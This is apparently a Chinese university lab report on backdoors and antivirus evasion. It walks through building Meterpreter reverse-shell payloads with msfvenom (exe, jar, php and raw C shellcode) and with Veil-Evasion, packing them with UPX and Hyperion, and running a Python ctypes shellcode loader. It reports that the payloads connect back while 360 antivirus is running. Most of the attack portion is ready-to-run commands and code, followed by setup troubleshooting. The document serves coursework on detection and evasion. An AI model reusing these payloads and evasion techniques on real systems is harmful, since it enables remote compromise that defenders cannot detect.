Exp3 后门原理与实践
前期准备
一、实验目标与基础知识
1.1 实践目标
使用 msf 编辑器生成其他文件
使用 upxed 生成加壳文件
使用 veil 生成免杀文件
通过其他组合应用各种技术实现免杀
通过另一台电脑在开杀软的情况下运行并回连
1.2 基础知识
- 恶意代码检测机制
- 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- 启发式恶意软件检测: 如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,我们就把它当成一个恶意软件。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 基于行为的恶意软件检测:从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
-
免杀原理
- 文件免杀:加花、修改文件特征码、加壳、修改加壳后的文件
- 内存免杀:修改特征码
- 行为免杀:加花
- Ps:什么是加花『加花是文件免杀的常用手段,加花原理就是通过添加花指令,让杀毒软件检测不到特征码。』
-
加壳工具
-
- 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
- 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
-
从技术上分壳分为:
- 压缩壳:减少应用体积,如ASPack,UPX
- 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
实验步骤
一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(一)正确使用msf编码器,生成exe文件
在实验二中使用msf生成了后门程序 20174318_backdoor.exe
。然后使用 VirusTotal 这个网站对生成的后门程序进行扫描,扫描结果如下:
通过 VirusTotal 的扫描结果,我们了解到不加任何处理的后门程序能够被杀软检测到,那么我们试试用msf编码器对后门程序进行多次的编码会怎么样呢。
十次编码:-e
选择编码器,-b
是 payload 中需要清除的字符,该命令中为了使 \x00'
不出现在 shellcode 中,因为 shellcode 以\x00'
为结束符。msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.0.105 LPORT=4318 -f exe > encoded10.exe
生成过程截图:
使用 VirusTotal 检测截图:
由此可见,即使对exe文件进行多次编码,对于免杀还是没有很大帮助,主要有两点原因:
- shikata_ga_nai 总会有解码部分需要加入的 exe 中,杀软只要找到了这一部分,就能查出这是恶意代码。
- msfvenom 总以固定的模版来生成exe文件。它所有生成的 exe 文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对 msf 使用的模板生成特征码侦测,这样就能解决所有 msfvenom 生成的恶意代码了。
(二)msfvenom 生成 jar 文件
生成java后门程序:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4318 x> zzh_backdoor_java.jar
使用VirusTotal检测jar文件结果:
(三)mfsvenom 生成 php 文件
生成PHP后门程序:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4318 x> zzh_backdoor.php
使用 VirusTotal 检测 php 文件:
(四)使用veil-evasion生成后门程序及检测
首先,安装好 veil ,这一步很重要,大多都会遇到问题,解决的办法也因人而异。在这里不加以叙述我遇到的问题和解决办法,将会放在文末进行分享。
输入veil
指令,进入如下页面
输入 use evasion
命令进入 veil-evasion
输入 use c/meterpreter/rev_tcp.py
进入配置界面
设置反弹连接的 IP:set LHOST 192.168.0.106
(此处为 Kali IP)
设置反弹连接端口:set LPORT 4318
输入 generate
生成文件,接着输入 payload 的名字:veil_c_4318
,如图所示,文件保存路径为:/var/lib/veil/output/compliled/veil_c_4318.exe
使用 VirusTotal 进行检测:
(五)使用shellcode编程
首先,使用命令生成一段shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.135 LPORT=4318 -f c
然后,手动创建一个文件 20174318.c
,然后将 unsigned char buf[]
赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
……
……
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
输入i686-w64-mingw32-g++ 20174318.c -o 20174318.exe
,将此文件编译为可执行文件。
最后,在 VirusTotal 进行检测:
当想要使用windows上执行该程序时,被 360 检测出来了。
(六)使用加壳工具 upx
首先,给之前的 20174318.exe 加个壳得到zzh.upxed.exe:
在 VirusTotal 里检测结果:
运行之后被判断为威胁,将其加入白名单方便测试反弹连接,再次扫描无威胁
使用实验二的方法测试,在 msfconsole 里监听本机端口号,反弹连接成功:
(七)使用加密壳:Hyperion
由于在之前安装 Veil 时没有处理得当,缺少了部分的依赖文件,导致做这一步时未找到 Hyperion.exe 。
参考 丁文涛同学的博客 以及 网上的博客 重新生成了 Hyperion.exe ,具体解决方法将在文末分享。
解决后,使用命令:wine hyperion.exe -v zzh.upxed.exe zzh_upxed_Hyperion.exe
成功加壳。
将后门程序加入白名单后,反弹连接成功:
使用 VirusTotal 检测结果:
(七)使用其他方法完成任务一
这里采用 base64+hex 加密的方式,参考文章远控免杀专题(30)-Python加载shellcode免杀-8种方式(VT免杀率10-69)
另参考丁文涛同学所给的资源,附本方法使用的所有文件的百度网盘链接,提取码:2nkk
首先,执行以下代码制作出shellcode的文件。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.106 lport=4318 -f c -o shell.c
然后,找到生成的 shellcode 文件,把里面的源码给复制出来,粘贴在 k8飞刀 软件里,再把 shellcode 转成hex, k8软件里全选代码后右键依次找到 Hacking → ShellCode → CharToHex ,转换成功
之后,下载 ScRunBase.py
,由于外网下载太慢,所以直接复制原代码自建文件
ScRunBase64.py 代码如下:
#scrun by k8gege import ctypes import sys import base64 shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex")) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
最后,在 Windows 中的 cmd.exe
中进入本方法下载的 Python 文件夹下使用 python ScRunBase.py hexcode
就可以加载执行 shellcode 了(下图为与杀软共生的截图)
试试反弹连接,msf 中监听本机端口,运行程序后,使用 dir
命令发现就是 python 的这个文件夹。连接成功
二、通过组合应用各种技术实现恶意代码免杀
采用 Veil-Evasion 的其他荷载生成后门的方式
启动 veil,输入 use evasion
进入 evasion,输入 list
查看可用的有效荷载
选择第31个荷载,它是 Python 下 shellcode 在 base64 编码的一种
输入option
,查看有效荷载的选项
在这个界面,我们可以对该payload进行一些基本的配置,例如编译后生成文件的格式有效期,并是否进行加密等
这里只配置了一下用户名 set USERNAME zzh
,之后输入 generate
生文件成,步骤如下
- 输入想要选择的shellcode平台,选择
2
-msfvenom,一会儿我们用msfconsole进行反弹连接. - 默认,输入回车
- 输入反弹连接IP(linux的IP)和端口号
- 其他msfvenom选项默认,回车
输入创建的 shellocode 的名字,这里是veil_zzh_base64
生成的文件类型选择2,生成一个exe文件
可以看见,exe 文件已经生成 setup.py
和 runme.bat
,在 /var/lib/veil/output/source/ 路径下
同时新生成的 shellcode 的rc文件也被保存在了 /var/lib/veil/output/handlers/ ,进入该路径后,输入指令 cat veil_zzh_base64.rc
使用 VirusTotal 检测 setup.py 和 runme.bat
最后,将其放入 Windows 下杀软也有检测出,输入 msfconsole
进入msf控制台,按照实验二的步骤反弹连接成功。
三、用另一台电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
使用另一台虚拟主机是 Win7 系统,同时dir
后的截图中显示为新建的学号文件夹
杀软名称:360安全卫士
版本:12.0.0.2002
实验总结
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
『根据以前学习的知识和网上的资料,我认为杀软是通过匹配或检查程序行为这两种方式来检测恶意代码的,匹配是静态的,杀毒软件在查病毒的时候其实是对程序的部分特征码进行提取和自己的病毒库匹配 很多情况都是大致的,二检测行为则是动态的观测,看哪些代码的程序在执行恶意的行为。』
(2)免杀是做什么?
『免杀是使用一些特殊的手段对恶意软件进行处理,让它们不被杀毒软件所检测到,前面的基础知识里面也有相关的内容。』
(3)免杀的基本方法有哪些?
『免杀的方法有很多,我认为可以大致分为三种:文件免杀(加花、修改文件特征码、加壳、修改加壳后的文件)、内存免杀(修改特征码)、行为免杀(加花)』
二、实验总结与体会
本次实验做起来感觉非常有趣,也认识到了免杀功能的强大,杀软跟免杀是共同存在、相辅相成、一起进步的关系。实验三的截图比较多,但相对于前两次实验来说,本次的步骤相对的单一,因为是通过不同的方式实现免杀的功能,所以说大体上的方向是一致的,先创建程序,传输过来进行检测。然后再试试能不能反弹连接成功。
虽说过程挺有趣,但遇到的问题也是真的不少,下面我简单的分享下我所遇到的一些问题。
- VMtools 文件拖拽时虚拟机卡死
emm,这个问题之前刚开始装 Kali 的时候遇到过,直接重装了,这次实验生成的后门程序都是在 Kali 里的,需要在两台主机之间传输,为了方便,第一次我就直接拖拽了,结果一击毙命直接卡死不给一点回旋的余地。于是,我尝试关闭虚拟机,结果发现按钮是灰色的……接着,我尝试任务管理系杀掉进程,结果给我来了这个
然后我尝试网上的方法,在系统服务 msconfig 里把有关 VMware 的服务全都禁止了,再去尝试杀掉进程,结果还是杀不掉。
没办法只能重启主机,重启后没想到虚拟机打不开了,提示虚拟机繁忙......那不就是进程一直在哪儿占着吗,不由得感叹 VMware 也太顶了,真有你的,我把kali虚拟机所在文件夹里的 .lck 包后缀改了,为了保险再压缩复制了一份,然后重装 VMware,保存了之前虚拟机的内容,重装后再把后缀改回来。
之后就解决问题了,但过程耗费了挺多的时间,想明白了一件事,你永远都不能相信 VMtools ,传输文件还是用共享文件夹吧。
- Veil 安装问题
这也是个老大难的问题,我看每个同学做实验都在这一步上遇到了问题,我是由于安装 Veil 后,第一次进入 get cloning 过程太慢,中间还不断弹出 鲜红 的字,令人窒息。
克隆完成后,输入 veil 准备进入,结果返回了如下图的错误提示
于是,照着提示进入了这个路径
还有同学的博客里建议修改 Veil 源的地址,这里我也照着做了
之后,启动 veil 时弹出了一个提示,说是是否要定位XXX的路径,我就照着点了确定,后来不知道怎么的就能启动 Veil 了,但是还是返回了一些缺失程序。
想着反正能进入了,就先不管了
- Hyperion.exe文件缺失
上一步刚说完,结果这排缺失文件就应验了,在 Veil 的路径里找不到 hyperion.exe文件,提示说是与 wine 有关的文件缺失。
我看有同学遇到了和我一样的问题,就参照着他的方法做了,重建一个 hyperion.exe 文件,参照 网上大神 的方法,里面的第三步,重新编译 hyperion,具体步骤如下:
首先安装mingw-w64:apt-get install mingw-w64
获取zip文件:wget https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip(或者http://neullsecurity.net/tools/binary/Hyperion-2.2.zip)
解压缩文件:unzip Hyperion-2.2.zip
解压缩完发现都是用c写的,所以换用gcc编译。
一开始使用:i686-w64-mingw32-gcc Hyperion-1.2/Src/Crypter/*.c -o hyperion.exe,报错没有 aes.h 头文件。然后发现 Crpter 文件夹下有 Makefile 文件,所以想通过make的方式编译,直接 make 的时候报没有 windows.h 的错。然后把 cc=后面的 gcc 替换成 mingw-w64 的 gcc 编译器。
最后,输入 make ,发现编译成功了
最终解决了该问题。